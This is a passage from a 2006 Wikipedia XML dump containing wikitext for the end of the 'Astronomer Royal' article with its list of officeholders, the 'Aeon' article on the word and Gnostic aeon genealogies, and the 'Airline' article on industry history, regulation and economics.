[[Charles II of England|King Charles II]], who founded the [[Royal Observatory Greenwich]] in [[1675]] instructed the first Astronomer Royal [[John Flamsteed]], &quot;to apply himself with the most exact care and diligence to the rectifying of the tables of the motions of the heavens, and the places of the fixed stars, so as to find out the so much desired longitude of places for the perfecting of the art of navigation.&quot;

From that time until [[1972]] the Astronomer Royal was Director of the Royal Observatory Greenwich. As Astronomer Royal he receives a [[stipend]] of £100 a year and is a member of the [[Royal Household]], under the general authority of the [[Lord Chamberlain]]. After the separation of the two offices the position of Astronomer Royal has been largely honorary, though he remains available to advise the Sovereign on astronomical and related scientific matters, and the office is of great prestige.

There was also formerly an [[Astronomer Royal for Ireland]].

== List of Astronomers Royal ==

{|
| Rev'd [[John Flamsteed]] || [[1675]] &amp;ndash; [[1719]]
|-
| Professor [[Edmond Halley]] || [[1720]] &amp;ndash; [[1742]]
|-
| Dr [[James Bradley]] || [[1742]] &amp;ndash; [[1762]]
|-
| [[Nathaniel Bliss]] || [[1762]] &amp;ndash; [[1764]]
|-
| Rev'd [[Nevil Maskelyne]] || [[1765]] &amp;ndash; [[1811]]
|-
| [[John Pond]] || [[1811]] &amp;ndash; [[1835]]
|-
| Sir [[George Airy | George Biddell Airy]] || [[1835]] &amp;ndash; [[1881]]
|-
| Sir [[William Christie (astronomer)|William Christie]] || [[1881]] &amp;ndash; [[1910]]
|-
| Sir [[Frank Dyson]] || [[1910]] &amp;ndash; [[1933]]
|-
| Sir [[Harold Spencer Jones]] || [[1933]] &amp;ndash; [[1955]]
|-
| Professor Sir [[Richard van der Riet Woolley]] || [[1956]] &amp;ndash; [[1971]]
|-
| Professor Sir [[Martin Ryle]] || [[1972]] &amp;ndash; [[1982]]
|-
| Professor Sir [[Francis Smith (astronomer)|Francis Graham-Smith]] || [[1982]] &amp;ndash; [[1990]]
|-
| Professor Sir [[Arnold Wolfendale]] || [[1991]] &amp;ndash; [[1995]]
|-
| [[Martin Rees]], Baron Rees of Ludlow || [[1995]] &amp;ndash; 
|}

[[Category:Astronomers]]
[[Category:Lists of British people]]
[[Category:Positions within the British Royal Household]]

[[fr:Astronomer Royal]]
[[it:Astronomo Reale]]
[[sl:Kraljevi astronom]]</text>
    </revision>
  </page>
  <page>
    <title>Aeon</title>
    <id>1941</id>
    <revision>
      <id>41192762</id>
      <timestamp>2006-02-25T18:08:05Z</timestamp>
      <contributor>
        <username>Tomisti</username>
        <id>348887</id>
      </contributor>
      <minor />
      <comment>[[fi:Aion]]</comment>
      <text xml:space="preserve">:''For the [[Geology|geologic]] word, see [[eon]]. For other uses of Aeon, see [[Aeon (disambiguation)]].''

The [[Latin]] word '''''aeon''''', also spelled '''''eon''''' or '''''æon''''', means &quot;forever&quot; or &quot;for [[eternity]]&quot;.  It is derived from the [[Greek language|Greek]] word αίών (''aion''), which at one point meant &quot;a period of existence&quot; or &quot;life&quot;.

In [[geology]], the word [[eon (geology)|eon]] quantitatively refers to a period of time of 1,000,000,000 years. However, geologists refer to the period in which [[animal]]s evolved into abundance as the [[Phanerozoic]] Eon, which has only lasted 545 million years, to the present day.

==In philosophy and mysticism==
Occultists sometimes speak of a &quot;magical Aeon&quot; that may last for far less time, perhaps as little as 2,000 years. See [[Thelema]].

[[Plato]] used the word ''aeon'' to denote the eternal world of ideas, which he conceived was &quot;behind&quot; the perceived world, as demonstrated in his famous [[Plato's allegory of the cave|cave allegory]].

===In Gnosticism===
In many [[Gnosticism|Gnostic]] systems, the various [[emanationism|emanations]] of the [[God]], who is also known by such names as '''the One''', the [[Monad (Gnosticism)|Monad]], Aion teleos (The Perfect Aeon), [[Bythos]] (Depth or profundity, Greek Βυθος), Proarkhe (Before the Beginning, Greek προαρχη), E Arkhe (The Beginning, Greek η αρχη), are called '''aeons'''. This first being is also an æon and has an inner being within itself, known as Ennoea (Thought), Charis (Grace), or Sige (Greek Σιγη, Silence). The split perfect being conceives the second aeon, Caen (Power), within itself. Along with the male Caen comes the female æon Akhana (Truth, Love).

The aeons often came in male/female pairs called ''syzygies'', and were frequently numerous (20-30). Two of the most commonly listed æons were [[Jesus]] and [[Sophia (gnosticism)|Sophia]]. The aeons constitute the ''[[pleroma]]'', the &quot;region of light&quot;. The lowest regions of the pleroma are closest to the darkness; that is, the physical world.

When an æon named ''Sophia'' emanates without her partner aeon, the result is the ''[[Demiurge]]'', or half-creator (Occasionaly referred to as '''Ialdaboth''' in Gnostic texts), a creature that should never have come into existence. This creature does not belong to the pleroma, and the One emanates two savior æons, ''[[Christ]]'' and ''the [[Holy Spirit]]'' to save man from the Demiurge. Christ then took the form of the man, ''Jesus'', in order to be able to teach man how to achieve [[gnosis]]; that is, return to the pleroma.

====Valentinus====
According to [[Tertullian]]'s ''Against the Valentinians'' (Latin: ''Adversus Valentinianos'') chapter VII and VIII (and we only know the details of this system from its opponents), the Gnostic [[Valentinius]] had 30 different aeons which emanate each other in sequence. The first 8 of these (corresponding to generations one through four below) is referred to as the ''Ogdoad''.

*First generation
**''Bythos'' (the One) and ''Sige'' (Silence, Charis, Ennoea etc)
*Second generation
**''Caen'' (Power) and ''Akhana'' (Love)
*Third generation, emanated from Caen and Akhana
**''Nous'' (Nus, Mind) and ''Aletheia'' (Veritas, Truth)
*Fourth generation, emanated from Nous and Aletheia
**''Sermo'' (the Word) and ''Vita'' (the Life)
*Fifth generation, emanated from Sermo and Vita
**''Anthropos'' (Homo, Man) and ''Ecclesia'' (Church)
*Sixth generation
**Emanated from Sermo and Vita:
***''Bythios'' (Profound) and ''Mixis'' (Mixture) 
***''Ageratos'' (Never old) and ''Henosis'' (Union)
***''Autophyes'' (Essential nature) and ''Hedone'' (Pleasure)
***''Acinetos'' (Immovable) and ''Syncrasis'' (Commixture)
***''Monogenes'' (Only-begotten) and ''Macaria'' (Happiness)
**Emanated from Anthropos and Ecclesia
***''Paracletus'' (Comforter) and ''Pistis'' (Faith)
***''Patricas'' (Paternal) and ''Elpis'' (Hope)
***''Metricos'' (Maternal) and ''Agape'' (Love)
***''Ainos'' (Praise) and ''Synesis'' (Intelligence)
***''Ecclesiasticus'' (Son of Ecclesia) and ''Macariotes'' (Blessedness)
***''Theletus'' (Perfect) and ''Sophia'' (Wisdom)

====Ptolemy and Colorbasus====
According to [[Irenaeus|St. Irenaeus]] ''Against heresies'' (Latin: ''Adversus Haereses'') also known as ''The Detection and Overthrow of Falsely So-Called Gnosis'' book 1, chapter 12, the followers of the [[Gnosticism|Gnostics]] [[Ptolemy (Gnostic)|Ptolemy]] and [[Colorbasus]] had aeons which differ from those of [[Valentinius]]. Logos is created when Anthropos learn to speak. The first four are called the ''Tetrad'' and the eight are called the ''Ogdoad''.

*First generation
**''Bythos'' (the One) and ''Sige'' (Silence, Charis, Ennoea etc)
*Second generation (conceived by the One):
**''Caen'' (Power) and ''Akhana'' (Love)
*Third generation, emanated from Caen and Akhana:
**''Ennoae'' (Thought) and ''Thelesis'' (Will)
*Fourth generation, emanated from Ennoae and Thelesis:
**''Nous'' (or ''Monogenes'') and ''Aletheia''
*Fifth generation, emanated from Nouse and Aletheia:
**''Anthropos'' (Homo, Man) and ''Ecclesia'' (Church)
*Sixth generation, emanated from Anthropos and Ecclesia:
**''Logos'' and ''Zoe''
*Seventh generation:
**Emanated from Logos and Zoe:
***''Bythius'' and ''Mixis''
***''Ageratos'' and ''Henosis''
***''Autophyes'' and ''Hedone''
***''Acinetos'' and ''Syncrasis''
***''Monogenes'' and ''Macaria''
**Emanated from Anthropos and Ecclesia:
***''Paracletus'' and ''Pistis''
***''Patricos'' and ''Elpis''
***''Metricos'' and ''Agape''
***''Ainos'' and ''Synesis''
***''Ecclesiasticus'' and ''Macariotes''
***''Theletos'' and ''Sophia''

The order of Anthropos and Ecclesia versus Logos and Zoe are somewhat debated, different sources give different accounts. Logos and Zoe are unique to this system as compared to the previous and may be an evolved version of the first, totalling 34 æons, but it is not clear if the first two were actually regarded æons.

==See also==
*[[Plato]]
*[[Gnosticism]]
*[[Aeon (disambiguation)]]
*[[Mythology of Final_Fantasy X#Fayth and Aeons|Final Fantasy X Aeons]] are powerful beings that summoners can summon to give them aid in the battle. In [[Final Fantasy X]] only 8 Aeons are known : Valefort, Ifrit, Shiva, Ixion, Bahamut, Anima, Yojimbo and The Magus Sisters

==External links==
*[http://www.gnosis.org/library/ter_val.htm Tertullian's account against the Valentinians] is the source text for much of what we know about the Æons.
*[http://www.gmu.edu/departments/fld/CLASSICS/tertullian.valentinianos.html Corresponding text in original Latin]
*[http://www.gnosis.org/library/advh1.htm Irenaeus: Against heresies]


[[Category:Gnostic deities]]
[[Category:Gnosticism]]

[[de:Äon]]
[[pt:Aeon]]
[[fi:Aion]]</text>
    </revision>
  </page>
  <page>
    <title>Airline</title>
    <id>1942</id>
    <revision>
      <id>41859634</id>
      <timestamp>2006-03-02T04:56:21Z</timestamp>
      <contributor>
        <username>Mexaguil</username>
        <id>217002</id>
      </contributor>
      <minor />
      <comment>fixed typo</comment>
      <text xml:space="preserve">:''For other uses, see [[Airline (disambiguation)]].''

[[image:virgin.b747-400.g-vbig.arp.jpg|thumb|right|250px|A [[Boeing 747|Boeing 747-400]] belonging to [[Virgin Atlantic Airways]], one of the [[United Kingdom|UK]]'s largest airlines.]]

An '''airline''' is an organization that  specializes in providing scheduled [[civil aviation|air transport services]] to [[passenger|passengers]] and/or for [[freight]]; although some airlines do provide [[Charter airline|chartered]] [[aviation|flight]] services as well. Airlines [[lease|lease]] or own their [[airliner|aircraft]] with which to supply these services and may form [[partnerships]] or [[alliances]] with other airlines for reasons of mutual benefit. 

==Industry overview==
The scale and scope of airline companies are from those with a single airplane carrying mail or cargo, through full-service international airlines operating many hundreds of airplanes in various types. Airline services can be categorized as being intercontinental, intracontinental, [[regional airline|regional]] or domestic and may be operated as scheduled services or charters.

These variations in the types of airline companies, their operating scope, and the routes they serve makes analysis of the airline industry somewhat complex. Nevertheless, some patterns have emerged in the last 50 years of experience:

[[Image:Air-India-building.jpg|right|thumb|250px|The headquarters of [[Air India]] in [[Mumbai]].]]
* The general pattern of ownership has gone from government owned or supported to independent, for-profit public companies. This occurs as regulators permit greater freedom, in steps that are usually decades apart. This pattern has not been completed for all airlines in all regions.

* The demand for air travel services is derived demand. That is, it depends on other things: business needs for cargo shipments, business passenger demand, leisure passenger demand, all influenced by macroeconomic activity in the markets under study. These patterns are highly seasonal, and often day-of-week, time-of-day, and even directionally variable.

* Notwithstanding these demand patterns, the overall trend of demand has been consistently increasing. In the [[1950s|1950's]] and [[1960s|1960's]], annual growth rates of 15% or more were common. Annual growth of 5-6% persisted through the [[1980s|1980's]] and [[1990s|1990's]]. Growth rates are not consistent in all regions, but certainly areas where deregulation provided more competition and greater pricing freedom resulted in lower fares and sometimes dramatic spurts in traffic growth. The [[United States|U.S.]], [[Australia]], [[Japan]], [[Brazil]], [[Mexico]], and other markets exhibited this trend.

* The industry is cyclical. Four or five years of poor performance are followed by five or six years of gradually improving good performance. But profitability in the good years is generally low, in the range of 2-3% net profit after interest and tax. It is in this time that airlines begin paying for new generations of airplanes and other service upgrades they ordered to respond to the increased demand. Since 1980, the industry as a whole has not even earned back the cost of capital during the best of times. Conversely, in bad times losses can be dramatically worse.

* As in many mature industries, consolidation is a trend, as airlines form new business combinations, ranging from loose, limited bilateral partnerships to long-term, multi-faceted alliances of groups of companies, to equity arrangements between companies, to actual [[Mergers and acquisitions|mergers]] or [[Takeover|takeovers]]. Since governments often restrict ownership and merger between companies in different countries, we see most consolidation taking place within a country. In the U.S., over 200 airlines have been merged, taken over, or simply gone out of business since deregulation began in [[1978]]. Many international airline managers are actively lobbying their governments to permit greater consolidation, in order to achieve higher economies of scale and greater efficiencies.

===Early development of airlines in the U.S.===
Following [[World War I]], the United States found itself swamped with aviators. Many decided to take their war-surplus aircraft on barnstorming campaigns, performing acrobatic maneuvers to woo crowds. In [[1918]], the [[United States Postal Service]] won the financial backing of [[Congress]] to begin experimenting with [[air mail]] service, initially using [[Curtiss Jenny]] aircraft that had been procured by the [[United States Army]] for reconnaissance missions on the Western Front. The Army was the first to fly these missions, but quickly lost the contract when they proved to be too unreliable. By the mid-[[1920s]], the [[United States Postal Service|Postal Service]] had developed its own air mail network, based on a transcontinental backbone between [[New York, New York|New York]] and [[San Francisco, California|San Francisco]]. To supplant this service, they offered twelve contracts for spur routes to independent bidders: the carriers that won these routes would, through time and mergers, evolve into [[Braniff Airlines]], [[American Airlines]], [[United Airlines]] (originally a division of [[Boeing]]), [[Trans World Airlines]], [[Northwest Airlines]], and [[Eastern Airlines]], to name a few.

Passenger service during the early 1920s was sporadic at best: most airlines at the time were focused on carrying bags of mail. In 1925, however, [[Ford Motor Company]] bought out the Stout Aircraft Company and began construction of the all-metal [[Ford Trimotor]], the first successful American airliner. With a 12-passenger capacity, it made passenger service potentially profitable. Air service was seen as a supplement to [[rail transport|rail]] service in the American transportation network.

At the same time, [[Juan Trippe]] began a crusade to create an air network that would link America to the world, and he achieved this goal through his airline, [[Pan American World Airways]], with a fleet of flying boats that linked [[Los Angeles, California|Los Angeles]] to [[Shanghai]] and [[Boston, Massachusetts|Boston]] to [[London]]. Pan Am was the only U.S. airline to go international before the 1940s, and quickly became a symbol of the potential of the American airline industry.

With the introduction of the [[Boeing 247]] and [[Douglas DC-3]] in the 1930s, the U.S. airline industry was generally profitable, even during the [[Great Depression]]. This trend continued until the beginning of [[World War II]].

===Early development of airlines in Europe===
[[Image:National Audit Office - Victoria - London - 020504.jpg|thumb|250px|right|The Imperial Airways Empire Terminal, Victoria, [[London]]. Trains ran from here to [[flying boats]] in [[Southampton]], and to [[Croydon Airport]].]]
The first countries in Europe to embrace air transport were [[France]], [[Germany]] and the [[Netherlands]].  

In [[1919]] [[KLM]] was founded, still the oldest carrier operating under its original name. The first flight transported two English passengers to [[Schiphol]], [[Amsterdam]] from [[London]] in [[1920]]. Like other major European airlines of the time (see France and the UK below), KLM's early growth depended heavily on the needs to service links with far-flung colonial possessions ([[Dutch Indies]]). It is only after the loss of the [[Dutch Empire]] that [[KLM]] found itself based at a small country with few potential passengers, depending heavily on transfer traffic, and was one of the first to introduce the hub-system to facilitate easy connections.

France began an air mail service to [[Morocco]] in [[1919]] that was bought out in [[1927]], renamed [[Aéropostale (aviation)|Aéropostale]], and injected with capital to become a major international carrier. In [[1933]], Aéropostale went [[Bankruptcy|bankrupt]], was nationalized and merged with several other airlines into what became [[Air France]].

The German airline industry began with [[Lufthansa]] in [[1926]], which, unlike most other airlines at the time, became a major investor in airlines outside of Europe, founding [[Varig]] and [[Avianca]]. German airliners built by [[Junkers]], [[Dornier GmbH|Dornier]], and [[Fokker]] were the most advanced in the world at the time. The peak of German air travel came in the mid-[[1930s]], when [[Nazi]] propaganda ministers approved the start of commercial [[zeppelin]] service: the big [[airship]]s were a symbol of industrial might, but the fact that they used flammable hydrogen gas raised safety concerns that culminated with the [[Hindenburg]] disaster of [[1937]].

[[United Kingdom]]'s flag carrier during this period was [[Imperial Airways]], which became [[BOAC]] (British Overseas Airlines Co.) in [[1939]]. Imperial Airways used huge [[Handley-Page]] [[biplane]]s for routes between [[London]], the [[Middle East]], and [[India]]: images of Imperial aircraft in the middle of the [[Rub'al Khali]], being maintained by [[Bedouin]]s, are among the most famous pictures from the heyday of the [[British Empire]].

===Development of airlines post-1945===
As governments met to set the standards and scope for an emergent civil air industry toward the end of the war, it was no surprise that the U.S. took a position of maximum operating freedom. After all, U.S. airline companies were not devastated by the war, as European companies and the few Asian companies had been. This preference for &quot;open skies&quot; operating regimes continues, within limitations, to this day.

World War II, like World War I, brought new life to the airline industry. Many airlines in the Allied countries were flush from lease contracts to the military, and foresaw a future explosive demand for civil air transport, for both passengers and cargo. They were eager to invest in the newly emerging flagships of air travel such as the [[Boeing Stratocruiser]], [[Lockheed Constellation]], and [[Douglas DC-6]]. Most of these new aircraft were based on American bombers such as the [[B-29]], which had spearheaded research into new technologies such as [[pressurization]]. Most offered increased efficiency from both added speed and greater payload.

In the 1950s, the [[De Havilland Comet]], [[Boeing 707]], [[Douglas DC-8]], and [[Sud Aviation Caravelle]] became the first flagships of the Jet Age in the West, while the [[Soviet Union]] bloc countered with the [[Tupolev Tu-104]] and [[Tupolev Tu-124]] in the fleets of state-owned carriers such as [[Aeroflot]] and [[Interflug]]. The [[Vickers Viscount]] and [[Lockheed L-188 Electra]] inaugurated turboprop transport.

The next big boost for the airlines would come in the 1970s, when the [[Boeing 747]], [[McDonnell Douglas DC-10]], and [[Lockheed L-1011]] inaugurated widebody (&quot;jumbo jet&quot;) service, which is still the standard in international travel. The [[Tupolev Tu-144]] and its Western counterpart, [[Concorde]], made supersonic travel a reality. In 1972, [[Airbus]] began producing Europe's most commercially successful line of airliners to date. The added efficiencies for these aircraft were often not in speed, but in passenger capacity, payload, and range. 

With deregulation in the U.S. beginning in 1978, barriers to entry were lowered for new entrants. Typically, a new wave of start-ups would enter during downturns in the normal 8-10 year business cycle. At that time, they find aircraft, financing, hangar and maintenance services, training all relatively inexpensive, and laid off staff from other companies eager and willing to take a job with the new company.

Alas, as the business cycle returned to normalcy, major airlines were able to dominate their routes through aggressive pricing and additional capacity offerings, often swamping the new startup. Only [[America West Airlines]] (now known as USAirways) has remained as a significant survivor from this new entrant era, as dozens, even hundreds, have gone under.

In many ways, the biggest winner in the deregulated environment was the air passenger. Indeed, the U.S. witnessed an explosive growth in demand for air travel, as many millions who had never or rarely flown before became regular fliers, even joining [[frequent flyer]] loyalty programs and receiving free flights and other benefits from their flying. New services and higher frequencies meant that business fliers could fly to another city, do business, and return the same day, for almost any points in the country. Air travel's advantages put intercity bus lines under pressure, and most have withered away. 

By the 1980's, almost half of the total flying in the world took place in the U.S., and today the domestic industry operates over 10,000 daily departures nationwide.

Toward the end of the century, a new style of [[low-cost carrier|low cost airline]] was seen, offering a consistent, often high-quality product, using new aircraft models, at a price that was well-received. [[JetBlue]], [[AirTran Airways]], and other companies represented a serious challenge to legacy carriers, as their counterparts in Europe, Canada, and Asia did to legacy carriers in those regions. Their commercial viability also represented a serious cost threat to employees at legacy airlines, as they set the standard for wage rates in the industry that were a fraction of the prevailing wage. 

Thus the last 50 years of the airline industry have varied from reasonably profitable, to devastatingly depressed. As the first major market to deregulate the industry in 1978, U.S. airlines have experienced more turbulence than almost any other country or region. Today, airlines representing approximately one-half of total U.S. seat capacity are operating under Chapter 11 bankruptcy provisions.

==Regulatory considerations==
===Government regulation===
[[image:airindia.longshot.arp.750pix.jpg|thumb|right|250px|[[Air India]] [[Boeing 747-400]]]]

Many countries have [[national airline]]s that are owned and operated by the government. Even fully privatized airlines are subject to a great deal of government regulation for economic, political, and safety concerns. Airline labor actions, for instance, are often halted by government intervention in order to protect the free flow of people, communications, and goods between different regions without compromising safety.

The United States, Australia, and to a lesser extent Brazil, Mexico, the European Union, and Japan have &quot;deregulated&quot; their airlines. In the past, these governments dictated airfares, route networks, and other operational requirements for each airline. Since deregulation, airlines have been largely free to negotiate their own operating arrangements with different airports, enter and exit routes easily, and to levy airfares and supply flights according to market demand. 

The entry barriers for new airlines are lower in a deregulated market, and so the U.S. has seen hundreds of airlines start up (sometimes for only a brief operating period). This has produced far greater competition than before deregulation in most markets, and average fares tend to drop 20% or more, spurring new sources of demand. The added competition, together with pricing freedom, means that new entrants often take market share with highly reduced rates that, to a limited degree, full service airlines must match. This is a major constraint on profitability for established carriers, which tend to have a higher cost base. 

As a result, profitability in a deregulated market is uneven for most airlines. These forces have caused some major airlines to go out of business, in addition to most of the poorly established new entrants.

===International regulation===
[[image:singapore.b747.london.750pix.jpg|thumb|250px|[[Singapore Airlines]] [[Boeing 747]].]]

Groups such as the [[International Civil Aviation Organization]] establish worldwide standards for safety and other vital concerns. Most international air traffic is regulated by bilateral agreements between countries, which designate specific carriers to operate on specific routes. The model of such an agreement was the [[Bermuda Agreement]] between the US and UK following World War II, which designated airports to be used for transatlantic flights and gave each government the authority to nominate carriers to operate routes.

Bilateral agreements are based on the &quot;[[freedoms of the air]],&quot; a group of generalized traffic rights ranging from the freedom to overfly a country to the freedom to provide domestic flights within a country (a very rarely granted right known as [[cabotage]]). Most agreements permit airlines to fly from their home country to designated airports in the other country: some also extend the freedom to provide continuing service to a third country, or to another destination in the other country while carrying passengers from overseas.

In the 1990s, &quot;[[open skies]]&quot; agreements became more common, which take many of these regulatory powers from state governments and open up international routes to further competition. Open skies agreements have met some criticism, particularly within the [[European Union]], whose airlines would be at a comparative disadvantage with the United States' because of cabotage restrictions.

==Economic considerations==
Although many countries continue to operate state-owned or parastatal airlines, most large airlines today are privately-owned and are therefore governed by microeconomic principles in order to maximize shareholder profit.

===Financing===
Airline financing is quite complex, since airlines are highly leveraged operations. Not only must they purchase (or lease) new airline bodies and engines regularly, they must make major long-term fleet decisions with the goal of meeting the demands of their markets while producing a fleet that is relatively economical to operate and maintain. Compare [[Southwest Airlines]] and their reliance on a single airplane type (the [[Boeing]] 737 and derivatives), with the now bankrupt [[Eastern Airlines]] which operated 17 different aircraft types, each with varying pilot, engine, maintenance, and support needs.

A second financial issue is that of hedging [[Petroleum|oil]] and [[fuel]] purchases, usually second only to labor in its relative cost to the company but with the fuel price touching $70/barrel it has become biggest part of total airlines expenses.While [[hedging instruments]] can be expensive, they can easily pay for themselves many times over in periods of increasing fuel costs, such as in the 2000-2005 period.

===Operating costs===
In a mature industry with low fare new entrants and tiny operating margins, it is imperative that airline managers identify controllable costs.

Full-service airlines have a high level of fixed and operating costs in order to establish and maintain air services: labor, fuel, airplanes, engines, spares and parts, IT services and networks, airport equipment, airport handling services, sales distribution, catering, training, insurance, and other costs. Thus all but a few cents on the dollar in ticket sales is paid out to a wide variety of external providers or internal cost centers.

Moreover, the industry is structured so that airlines often act as tax collectors. Airline fuel is untaxed however due to a series of treaties existing between countries. Ticket prices include a number of fees, taxes, and surcharges they have little or no control over, and these are passed through to various providers. Airlines are also responsible for enforcing government regulations. If airlines carry passengers without proper documentation on an international flight, they are responsible for returning them back to the originating country.

Analysis of the 1992-1996 period shows that every player in the air transport chain is far more profitable than the airlines, who collect and pass through fees and revenues to them from ticket sales. While airlines as a whole earned 6% return on capital employed (2-3.5% less than the cost of capital), airports earned 10%, catering companies 10-13%, handling companies 11-14%, aircraft lessors 15%, aircraft manufacturers 16%, and global distribution companies more than 30%. (Source: Spinetta, 2000, quoted in Doganis, 2002)

In contrast, [[Southwest Airlines]] has been the most profitable of airline companies since 1970. Indeed, some sources have calculated Southwest to be the best performing stock over the period, outperforming [[Microsoft]] and many other high performing companies. The chief reasons for this are their product consistency and cost control.

The widespread entrance of a new breed of low cost airlines beginning at the turn of the century has accelerated the demand that full service carriers control costs. Many of these low cost companies emulate [[Southwest Airlines]] in various respects, and like Southwest, they are able to eke out a consistent profit throughout all phases of the business cycle. 

As a result, a shakeout of airlines is occurring in the U.S. and elsewhere. [[United Airlines]], [[US Airways]] (twice), [[Delta Air Lines]], and [[Northwest Airlines]] have all declared [[Chapter 11]] bankruptcy, and [[American Airlines|American]] has barely avoided doing so. [[Alitalia]], [[Scandinavian Airlines System]], [[SABENA]], [[Japan Air System]], [[Air Canada]], [[Ansett Australia]], and others have flirted with or declared bankruptcy since 2000, as low cost entrants enter their home markets as well. Some argue that it would be far better for the industry as a whole if a wave of actual closures were to reduce the number of &quot;undead&quot; airlines competing with healthy airlines while being artificially protected from creditors via [[bankruptcy]] law.

===Ticket sales===
Airlines assign prices to their services in an attempt to maximize profitability. To do this well requires [[yield management]] technology and pricing flexibility. 

They use differentiated pricing, a form of [[price discrimination]], in order to sell air services at varying prices simultaneously to different segments. Factors influencing the price include the days remaining until departure, the current booked load factor, the forecast of total demand by price point, competitive pricing in force, and variations by day of week of departure and by time of day. 

A complicating factor is that of origin-destination control (&quot;O&amp;D control&quot;). Someone purchasing a ticket from say, Melbourne to Sydney for $A200 is competing with someone else who wants to fly Melbourne to Los Angeles through Sydney on the same airplane, and who is willing to pay $A1400. Should the airline prefer the $A1400 passenger, or the $A200 passenger + a possible Sydney-Los Angeles passenger willing to pay $A1300? Airlines have to make hundreds of thousands of similar pricing decisions daily in their markets.

In contrast, low fare carriers usually offer straightforward, preannounced, simple prices. They can do this by quoting prices for each leg of a trip; passengers simply add them together to construct a full journey. 

The advent of advanced computerized reservations systems in the late 1970s, most notably [[Sabre (computer system)|Sabre]], allowed airlines to easily perform [[cost-benefit analysis|cost-benefit analyses]] on different pricing structures, leading to almost perfect price discrimination in some cases (that is, filling each seat on an aircraft at the highest price that can be charged without driving the consumer elsewhere). The intense nature of airfare pricing has led to the term &quot;[[fare war]]&quot; to describe efforts by airlines to undercut other airlines on competitive routes.

Computers also allow airlines to predict, with some accuracy, how many passengers will actually fly after making a reservation to fly. This allows airlines to overbook their flights enough to fill the aircraft while accounting for &quot;no-shows,&quot; but not enough (in most cases) to force paying passengers off the aircraft for lack of seats. Since an average of 1/3 of all seats are flown empty, stimulative pricing for low demand flights coupled with overbooking on high demand flights can help reduce this figure. 

===See also===
* [[Price discrimination]]
* [[Travel class]]
* [[Yield management]]

===Airport operations===
Where an airline has established an engineering base at an airport then there may be considerable economic advantages in using that same airport as a preferred focus (or &quot;hub&quot;) for its scheduled flights.   

In view of the congestion apparent at many international [[airport|airports]], the ownership of slots at certain airports (the right to take-off or land an aircraft at a particular time of day or night) has become a significant tradeable asset in the portfolios of many airlines. Clearly take-off slots at popular times of the day can be critical in attracting the more profitable business traveler to a given airline's flight and in establishing a competitive advantage against a competing airline. If a particular city has two or more airports, market forces will tend to attract the less profitable routes, or those on which competition is weakest, to the less congested airport, where slots are likely to be more available and therefore cheaper.  Other factors, such as surface transport facilities and onward connections, will also affect the relative appeal of different airports and some long distance flights may need to operate from the one with the longest runway. 

===Business-to-business relations===
[[Code sharing]] is the most common type of airline partnership; it involves one airline selling tickets for another airline's flights under its own airline code. An early example of this was [[Japan Airlines]]' code sharing partnership with [[Aeroflot]] in the 1960s on flights from [[Tokyo]] to [[Moscow]]: Aeroflot operated the flights using Aeroflot aircraft, but JAL sold tickets for the flights as if they were JAL flights. This practice allows airlines to expand their operations, at least on paper, into parts of the world where they cannot afford to establish bases or purchase aircraft. 

Since airline reservation requests are often made by city-pair (such as &quot;show me flights from Chicago to Dusseldorf&quot;), an airline who is able to code share with another airline for a variety of routes might be able to be listed as indeed offering a Chicago-Dusseldorf flight. The passenger is advised however, that Airline 1 operates the flight from say Chicago to Amsterdam, and Airline 2 operates the continuing flight (on a different airplane, sometimes from another terminal) to Dusseldorf. Thus the primary rationale for code sharing is to expand one's service offerings in city-pair terms so as to increase sales.

Virtually all international airlines practice code sharing.

A more recent development is the [[airline alliance]], which became prevalent in the 1990s. These alliances can act as virtual mergers to get around government restrictions. Groups of airlines such as the [[Star Alliance]], [[oneworld]], and [[SkyTeam]] coordinate their passenger service programs (such as lounges and frequent flyer programs), offer special interline tickets, and often engage in extensive codesharing (sometimes systemwide). These are increasingly integrated business combinations-- sometimes including cross-equity arrangements-- in which products, service standards, schedules, and airport facilities are standardized and combined for higher efficiency. One of the first airlines to start an alliance with another airline was [[KLM]], who partnered with [[Northwest Airlines]]. Both airlines later entered the [[SkyTeam]] alliance after the fusion of KLM and [[Air France]] in 2004.

Often the companies combine IT operations, buy fuel, or purchase airplanes as a bloc in order to achieve higher bargaining power. However, the alliances have been most successful at purchasing invisible supplies and services, such as fuel. Airlines usually prefer to purchase items visible to their passengers to differentiate themselves from local competitors. If an airline's main domestic competitor flies Boeing airliners, then the airline may prefer to use Airbus aircraft regardless of what the rest of the alliance chooses.

==Customs and conventions==
Each operator of a scheduled or charter flight uses a distinct [[airline call sign]] when communicating with airports or air traffic control centers. Most of these call-signs are derived from the airline's trade name, but for reasons of history, marketing, or the need to reduce ambiguity in spoken English (so that pilots do not mistakenly make navigational decisions based on instructions issued to a different aircraft), some airlines and air forces use call-signs less obviously connected with their trading name. For example, British Airways uses a ''Speedbird'' call-sign, named after the logo of its predecessor, [[British Overseas Airways Corporation|BOAC]].

== Airline personnel ==
The various types of airline personnel include:
*[[Flight crew]]s, responsible for the operation of aircraft while airborne. Flight crew members include:
** [[Aviator|Pilot]]s ([[captain]] and [[first officer]]: some older aircraft also require [[flight engineer]]s and/or [[navigator]]s)
** [[Flight attendant]]s (led by a [[purser]] on larger aircraft)
** [[Sky marshal|In-flight security personnel]] on some airlines (most notably [[El Al]])
*[[Ground crew]]s, responsible for operations at airports. Ground crew members include:
**[[Airframe]] and [[powerplant]] technicians
**[[Avionics]] technicians
**[[Flight dispatcher]]s
**Baggage handlers
**Rampers
**Gate agents
**Ticket agents
**Passenger service agents (such as [[airline lounge]] employees)
*Reservations agents, usually (but not always) at facilities outside the airport

Most airlines follow a [[corporation|corporate]] structure where each broad area of operations (such as maintenance, flight operations, and passenger service) is supervised by a vice president. Larger airlines often appoint vice presidents to oversee each of the airline's hubs as well. Airlines also tend to employ considerable numbers of lawyers to deal with regulatory procedures and other administrative tasks.

==See also ==
*[[Air safety]]
*[[Airport security]] &amp;ndash; no longer a responsibility of the airlines.
*[[Cargo airline]]
*[[Charter airline]]
*[[Commuter airline]]
*[[Low-cost carrier]]
*[[Airlines at the movies]]
*[[Airliners.net]]
*[[1000 Airlines in Color]]
*[[Airline timetable]]
*[[Red-eye flight]]
*[[Transportation Security Administration]]
*[[Federal Aviation Administration]]
*[[IATA]] &amp;ndash; industry standards organization

=== Lists ===
* [[List of largest airlines]]
* [[List of low-cost airlines]]
* [[List of airlines]] &amp;ndash; A fairly comprehensive listing
* [[List of accidents and incidents on commercial airliners]]
* [[List of national airlines]]
* [[List of defunct airlines]]
* [[Timeline of airline bankruptcies]]

==External links==
*[http://www.pbs.org/kcet/chasingthesun/ Chasing the Sun] - History of commercial aviation, from PBS

==References==
